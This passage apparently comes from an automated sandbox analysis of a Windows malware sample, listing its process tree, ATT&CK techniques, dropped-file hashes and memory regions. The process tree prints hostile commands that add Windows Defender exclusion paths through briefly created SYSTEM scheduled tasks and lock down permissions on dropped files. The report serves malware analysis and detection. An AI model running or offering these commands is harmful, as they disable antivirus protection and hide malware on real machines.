      icacls "C:\Program Files (x86)\k7bF7n\k7bF7n.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5536
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k7bF7n\k7bF7n.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:1876
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k7bF7n\k7bF7n.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2500
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k7bF7n\k7bF7n.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:3004
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k7bF7n\k7bF7n.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2008
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k7bF7n\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4264
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k7bF7n\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3240
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k7bF7n\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:1236
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k7bF7n\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2628
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k7bF7n\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:1732
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k7bF7n\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1080
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k7bF7n\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:1788
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k7bF7n\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4836
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k7bF7n\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:5288
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k7bF7n\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5292
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k7bF7n\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:5284
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k7bF7n\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4256
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k7bF7n\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2356
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k7bF7n\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3632
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k7bF7n\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2324
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k7bF7n\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4176
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3236
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2144
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:1872
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1992
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\k7bF7n\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:1840
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\k7bF7n\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1460
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5708
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3516
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2692

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\MRrbSP" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4340
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\MRrbSP" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1644

C:\Users\Public\MRrbSP\iQTihB.exe
"C:\Users\Public\MRrbSP\iQTihB.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5736

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3980

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4944
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5052

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5368
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:808

C:\Program Files (x86)\k7bF7n\k7bF7n.exe
"C:\Program Files (x86)\k7bF7n\k7bF7n.exe"
1⤵
PID:4328

C:\Program Files (x86)\k7bF7n\k7bF7n.exe
"C:\Program Files (x86)\k7bF7n\k7bF7n.exe"
1⤵
PID:4956

C:\Program Files (x86)\H61wPJHc\3Y1MEM.exe
"C:\Program Files (x86)\H61wPJHc\3Y1MEM.exe"
1⤵
PID:1332

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\k7bF7n" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1576

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4980

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\H61wPJHc\XPSPLOG.dll
Size 4.6MB
SHA256 d8cbac889daa5b9bc7fe5ba53e487b3d8e5a978739ddd3dc2df601c46e00a982
MD5 7a0079b83ab4863df4eb2f46b002216b
SHA1 cda64104f9214194d6d9cd1b82290ce82e056374
SHA512 acd463f75095b5d56a5eb2a58b220bdd0cbba51995d2ede11fabed090610bc77f02ea5dc430294ff087526e21ac2a511bfa640bdba9afe0e35ef1816af217168
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy1:BMWKfU+BcUTHCCCfqCiUffn1
TLSH
T170263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\H61wPJHc\image.png
Size 3.2MB
SHA256 5f020723da16a2249445339b001c950e55a7aa76aaae3d4c89584a2e45d334f2
MD5 239d9af294545f76da197f2111ba2c5a
SHA1 e680d3aafdb762917ec335a810d47cc693dfbfdc
SHA512 d0dcacc9ffe5388757a0f33bcf26b52e91166e910dadb4e9a372c0820b51c560a0a3097d12252fc35f2b334433ab1a5a7d3551473f0dfa7ce97eec9f53c3a672
SSDEEP 98304:B/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOT:BMpJ0kVNLAU4xWWDI3ieOf
TLSH
T14FF5330FE6EFBEFDC7D077AD661ECD7056794A61050638A9E067AE00A26CB4F3647018
MD5 SHA1 SHA512 SSDEEP TLSH

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XPSPLOG.dll

Path C:\Program Files (x86)\k7bF7n\XPSPLOG.dll
Size 4.6MB
SHA256 ddbf736b113638c7d6136f896c176910d2a85d12747a05db2ff39c5e8a0fbe1f
MD5 9bf3d8f1fbc1efc77fd65eef18f06328
SHA1 af0d6ae7d0a959faccb6140aa69c1cd6d71af134
SHA512 1ba53c1c6e1025bf72f22a29db83ccad227984a9917058dbb29a853219fc95b691369aa61585ca276dc7640a1dfc703244c748ce1ce2f2ddfb0da92994b026a8
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyj:BMWKfU+BcUTHCCCfqCiUffnj
TLSH
T1C0263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

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image.png

Path C:\Program Files (x86)\k7bF7n\image.png
Size 4.8MB
SHA256 8e03fa0380ade3e502434e5998886a74651e71bff2c3f448596630987407e585
MD5 ec790306ed79850ebbece274ab8d3e9e
SHA1 f0947168c74a21afc0b0c09a957e5999d19622b6
SHA512 1f209f11898311fb567d74109a1c32ea58e01e6fdfee136560f0d62e804f5ea98e1f7509d409375c7af5da506c3f7c16fd932511e3fe5739bcacf9dcc8dd394c
SSDEEP 98304:b/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:bMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T1D236334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

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k7bF7n.exe

Path C:\Program Files (x86)\k7bF7n\k7bF7n.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

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thumbs.db

Path C:\Program Files (x86)\k7bF7n\thumbs.db
Size 358KB
SHA256 33c4f37d60df50360be23e12cd64b9f103fe85da47b2bc3d2540a6f402cab65c
MD5 c4aaf257995c69aa23ae4260d28cfe44
SHA1 7dfb09da29268e6b3b834647d892e0fcb0dd1b2c
SHA512 1de36abd47e9b62d4203e35baf50ebfed898e72e415cb4a9f48db5445fc617c94c861618b95e63f424ae3cbec10800d4551a4834e4923279c49079e70cc317c6
SSDEEP 6144:KiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:18u69CghoQxoMTFQqtKFCz7mb/
TLSH
T16274F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

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0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 ae186c503f0aaec070e0a939f14cc7d9a4d14bba8467913381f9b6ca5ae8f2b2
MD5 d153df768e8a78bf9d0411c0ab75e00d
SHA1 387a7ed6166b6e8f8a21c8b349df1c1273a20055
SHA512 4cdf3390d5fed5c63dd1878451ef9089cde096353e7306dce7219af9bfb8cb25b75961f9a358e3df0a808d23f34c93c45a5d7c78efcc6ee6db6451a411a8ab14
TLSH
T1B431C6BB1BAD3D82CF3E8D912ACAF1213CA4A1C02CD940AE2105C5A45F443B26F5E90C
MD5 SHA1 SHA512 TLSH

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B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 044588c8da7ecf36fe481d4cf53448646297b55ebd03d98aa60c038795de9566
MD5 2734273754871015f544ddcd5ba739e6
SHA1 bcc737ba9ad7b731779b6e348cea1c947fd8bf13
SHA512 7d3d51ce1ed516f8000f20d9fe7f46ba7630fd83d79c1c8bb79a93bfccf77e44a2c30bbe574b4307b62edea4ccbb2e17154d319217d8ae64932ffd159003151a
TLSH
T17F31D8935E3900128B0C4F7562C4D33F6CF0A4758CE4981A663EC1BE9A567BB5FC9400
MD5 SHA1 SHA512 TLSH

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0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 52ddc43a5beb52ddb2c29e906e39e0a364a718834831a9f07e6f7a283f2c4cf4
MD5 4f44b8f3465be7ed523e5113c6cc94eb
SHA1 efe7886be139e18ba7243cd0905540096951f883
SHA512 dcf539673302da4f675dac7ab24e1c81a3f4a5aa0985be112d49c909a4e83a7c9d9e37135f3abadafceef66c1e5d437f6d8d888b4e527101c2c8b040c8f5164d
TLSH
T146F0DC1C207C822CF232E93C8BCCB9971A7BEB022803C89406E10B0CA097B027C52A79
MD5 SHA1 SHA512 TLSH

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B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 6c3af823aa371dde05af2190c0e7cdd1ce14ba274016f9d54f48451d53349357
MD5 2d1e64f7ce7788988fd329481b2ab1dc
SHA1 28b73472216ed41b6b741fe0f497ef11b636cce4
SHA512 37a2193958318c0542a9d7e45e8a98fe4ddc89f50a8323df7a544a3895e1cc90dc0c6e3c6495200a3afcfbf632ad8989aba59c887513cc62789be3d72b4998aa
TLSH
T16DF05C3956ED412FF17F85B846C6BAB11935E537600792FF0A7503845E64C004CC237C
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_1sqxkwxx.okf.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1sqxkwxx.okf.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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UxEnhance64.dll

Path C:\Users\Public\MRrbSP\UxEnhance64.dll
Size 3.1MB
SHA256 0cb3f0ec8653f35edfadee5944dce10d4bae1fceda7bc850805f720d9a3994ed
MD5 933c8e5b279c31c9a4ec0214ffe166a2
SHA1 c1559a87318b6725829e09d75860e6ae6575c2ef
SHA512 d4675a0c0d830b16cd080597fca61bc5ab3bfeee3282df7b95156bb23894d304809fef1de5e80c30e588e35c3c319e1b232390eb7484e1ebb80e2145c0c41905
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB++:P9m29xx3Tiqt06ox6+z2rNNrKo+
TLSH
T199E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

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adoresd.dat

Path C:\Users\Public\MRrbSP\adoresd.dat
Size 4.8MB
SHA256 55a1259d68fe98ad431984bd2a9c821b7011f97d61911b1d009af162cccdc5d3
MD5 dc601c4ef132e7f2fe99a3c0181b9601
SHA1 616cfca6410508bb0584f82549bda85ba2954132
SHA512 4be66031560ce1b8ecc0fb636fdc9f06895917bc6d20ed4dc55e4fcc42ae4f3094b1360d546092d985ea49ff07d7c3c0f501e727acdf2f67dd88a1bdbfe8b7c6
SSDEEP 98304:BWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:BWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1093633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

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iQTihB.exe

Path C:\Users\Public\MRrbSP\iQTihB.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

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msadox.tb

Path C:\Users\Public\MRrbSP\msadox.tb
Size 8KB
SHA256 feaa2135aa67a3417838c3ec96c407d553a240c07c0d667e3379a0a41c66a67b
MD5 739b3d87d19e47cacb860377c89feab7
SHA1 285e77d7faaf103ee6e100a0abf87c679bb9b298
SHA512 7d57087b5993e099f4002a7094de6be53fe34966c91f4d8a7cc659045e24f111b97d5f1653e4c050693390792bf23cdba961429c151b1693293f097481a91731
SSDEEP 192:kqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:ksZqZOXQ3uqvR2Kfzp
TLSH
T186029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C16B072DD2CE624D
MD5 SHA1 SHA512 SSDEEP TLSH

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destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

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xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

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memory/1332-761-0x0000000072930000-0x000000007307A000-memory.dmp

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memory/1332-760-0x0000000001040000-0x0000000001041000-memory.dmp

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memory/1332-766-0x0000000003500000-0x0000000003CDD000-memory.dmp

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memory/1436-756-0x00000000013C0000-0x00000000013F6000-memory.dmp

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memory/1436-770-0x00000000057F0000-0x0000000005856000-memory.dmp

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memory/1436-771-0x0000000005880000-0x00000000058E6000-memory.dmp

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memory/1436-765-0x0000000005750000-0x0000000005772000-memory.dmp

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memory/1436-757-0x0000000005930000-0x0000000005F7A000-memory.dmp

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memory/2756-604-0x000002474B470000-0x000002474B522000-memory.dmp

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memory/2756-603-0x0000024732DE0000-0x0000024732DFE000-memory.dmp

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memory/2756-594-0x0000024732D20000-0x0000024732D42000-memory.dmp

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memory/2756-605-0x0000024732DC0000-0x0000024732DCA000-memory.dmp

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memory/4328-754-0x00000000010F0000-0x00000000010F1000-memory.dmp

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memory/4328-735-0x00000000746F0000-0x0000000074E3A000-memory.dmp

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memory/4328-734-0x00000000010F0000-0x00000000010F1000-memory.dmp

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memory/4328-738-0x0000000003580000-0x0000000003D5D000-memory.dmp

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memory/4328-749-0x0000000001110000-0x0000000001111000-memory.dmp

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memory/4328-750-0x0000000003580000-0x0000000003D5D000-memory.dmp

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memory/4348-525-0x00007FFA02630000-0x00007FFA02642000-memory.dmp

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memory/4348-524-0x0000000000480000-0x000000000048E000-memory.dmp

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memory/4348-504-0x00007FFA02630000-0x00007FFA02642000-memory.dmp

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memory/4348-2-0x00000000004D0000-0x00000000004DC000-memory.dmp

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memory/4348-1-0x0000000000480000-0x000000000048E000-memory.dmp

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memory/4348-0-0x0000000000480000-0x000000000048E000-memory.dmp

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memory/4640-556-0x0000016B13E00000-0x0000016B146D7000-memory.dmp

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memory/4640-566-0x0000016B13E00000-0x0000016B146D7000-memory.dmp

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memory/4640-530-0x00007FFA0CE30000-0x00007FFA0CE32000-memory.dmp

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memory/4640-532-0x00007FF9EBC80000-0x00007FF9EC19E000-memory.dmp

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memory/4640-537-0x0000016B13E00000-0x0000016B146D7000-memory.dmp

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memory/4640-538-0x00007FFA0CE40000-0x00007FFA0CE42000-memory.dmp

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memory/4640-539-0x0000016B13E00000-0x0000016B146D7000-memory.dmp

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memory/4640-544-0x0000016B13E00000-0x0000016B146D7000-memory.dmp

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memory/4640-543-0x0000016B13E00000-0x0000016B146D7000-memory.dmp

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memory/4640-545-0x0000016B13E00000-0x0000016B146D7000-memory.dmp

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memory/4640-546-0x0000016B13E00000-0x0000016B146D7000-memory.dmp

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memory/4640-550-0x0000016B13E00000-0x0000016B146D7000-memory.dmp

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memory/4640-559-0x0000016B14A20000-0x0000016B14AAA000-memory.dmp

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memory/4640-562-0x0000016B14A20000-0x0000016B14AAA000-memory.dmp

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memory/4640-561-0x0000016B14A20000-0x0000016B14AAA000-memory.dmp

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memory/4640-560-0x0000016B14A20000-0x0000016B14AAA000-memory.dmp

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memory/4640-558-0x0000016B13270000-0x0000016B132BE000-memory.dmp

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memory/4808-681-0x0000000001A00000-0x0000000001A01000-memory.dmp

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memory/4808-682-0x0000000003D90000-0x000000000456D000-memory.dmp

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memory/4808-674-0x00000000018E0000-0x00000000018E1000-memory.dmp

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memory/4808-730-0x0000000003D90000-0x000000000456D000-memory.dmp

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memory/4808-699-0x0000000010000000-0x0000000010061000-memory.dmp

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memory/4808-694-0x0000000003D90000-0x000000000456D000-memory.dmp

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memory/4808-705-0x0000000003D90000-0x000000000456D000-memory.dmp

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memory/4808-758-0x0000000003D90000-0x000000000456D000-memory.dmp

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memory/4808-693-0x0000000003370000-0x0000000003384000-memory.dmp

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memory/4808-675-0x00000000746F0000-0x0000000074E3A000-memory.dmp

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memory/4808-679-0x0000000003D90000-0x000000000456D000-memory.dmp

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memory/4808-686-0x0000000003D90000-0x000000000456D000-memory.dmp

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memory/4956-741-0x0000000000D70000-0x0000000000D71000-memory.dmp

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memory/4956-742-0x00000000746F0000-0x0000000074E3A000-memory.dmp

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memory/5736-581-0x00000238A03F0000-0x00000238A0CC7000-memory.dmp

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memory/5736-582-0x00007FFA0CE40000-0x00007FFA0CE42000-memory.dmp

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memory/5736-590-0x00000238A03F0000-0x00000238A0CC7000-memory.dmp

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memory/5736-587-0x00000238A03F0000-0x00000238A0CC7000-memory.dmp

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memory/5736-577-0x00007FF9EBC80000-0x00007FF9EC19E000-memory.dmp

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memory/5736-589-0x00000238A03F0000-0x00000238A0CC7000-memory.dmp

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memory/5736-591-0x00007FFA0CE30000-0x00007FFA0CE32000-memory.dmp

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memory/5736-588-0x00000238A03F0000-0x00000238A0CC7000-memory.dmp

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memory/5736-583-0x00000238A03F0000-0x00000238A0CC7000-memory.dmp

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